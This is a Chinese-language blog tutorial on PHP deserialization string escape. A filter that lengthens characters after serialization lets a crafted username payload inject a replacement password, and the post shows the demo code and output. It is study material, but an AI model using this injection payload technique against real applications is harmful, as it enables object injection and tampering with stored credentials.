php反序列化字符串逃逸

前言:

反序列化确实有很多内容需要去学,前段时间学习的反序列化确实不够用

基础知识:

1.php在反序列化时,对类中不存在的属性也会进行反序列化

1
2
3
4
5
6
7
8
<?php
class test{
public $test="aaaaa";
}
$b=new test();
$s='O:4:"test":2:{s:4:"test";s:5:"aaaaa";s:4:"tess";s:5:"aaaaa";}';

var_dump(unserialize($s));
img

2.php在反序列化时,底层代码是以;作为字段的分割,以}作为结果(字符串除外),并且是根据长度判断内容的
3.对于类似这种O:1:”A”:2:{s:1:”a”;s:3:”123”;s:1:”b”;s:9:”xianyu123”;}s:1:”c”;s:2:”yes”;也是能够正常反序列化的,即使s:2:”yes”的长度不匹配也不影响。说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。

漏洞产生原因

序列化的字符串在经过过滤函数不正确的处理而导致对象注入,因为先进行了序列化,再进行过滤,那么就有可能会产生此漏洞。

实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function filter($f){
$filter = '/c/i';
return preg_replace($filter,'bb',$f);
}
$username = "admin";
$password = "mypass";
$user = array($username, $password);
var_dump(serialize($user));
echo "\n";
$r = filter(serialize($user));
var_dump($r);
echo "\n";
var_dump(unserialize($r));
?>

首先看看原本输出的内容:

1
2
3
4
5
6
7
8
string(39) "a:2:{i:0;s:5:"admin";i:1;s:6:"mypass";}"

array(2) {
[0] =>
string(5) "admin"
[1] =>
string(6) "mypass"
}
1
$username = "ggggyu123cccccccccccccccccccc\";i:1;s:6:\"123456\";}";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
string(84) "a:2:{i:0;s:49:"ggggyu123cccccccccccccccccccc";i:1;s:6:"123456";}";i:1;s:6:"mypass";}"

D:\apache\www\反序列化字符串逃逸.php:12:
string(104) "a:2:{i:0;s:49:"ggggyu123bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";i:1;s:6:"123456";}";i:1;s:6:"mypass";}"

D:\apache\www\反序列化字符串逃逸.php:14:
array(2) {
[0] =>
string(49) "ggggyu123bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
[1] =>
string(6) "123456"
}

进程已结束,退出代码 0

此时成功更改密码,刚刚理解了一下,其实原理很简单,先理解以下几点:
1.对应前一个序列化内容s:49这里说第一个变量的值有49个字符长度,那么接下来就会一直读取49个长度,如果少于或者大于都会报错导致读取不了
2.经过filter,我们发现一个c被替换成两个b了,但是依旧字符串长度为49个,但是我们原本在username里面的内容是变多了,这样我们后面输入的i:1;s:6:”123456”;}就逃逸出来了
3.我们知道序列化是以读到}为终止的,所以此时密码就被修改为123456,因为后面的mypass那些已经被舍弃掉了

Author

vague huang

Posted on

2021-04-13

Updated on

2021-04-14

Licensed under

Comments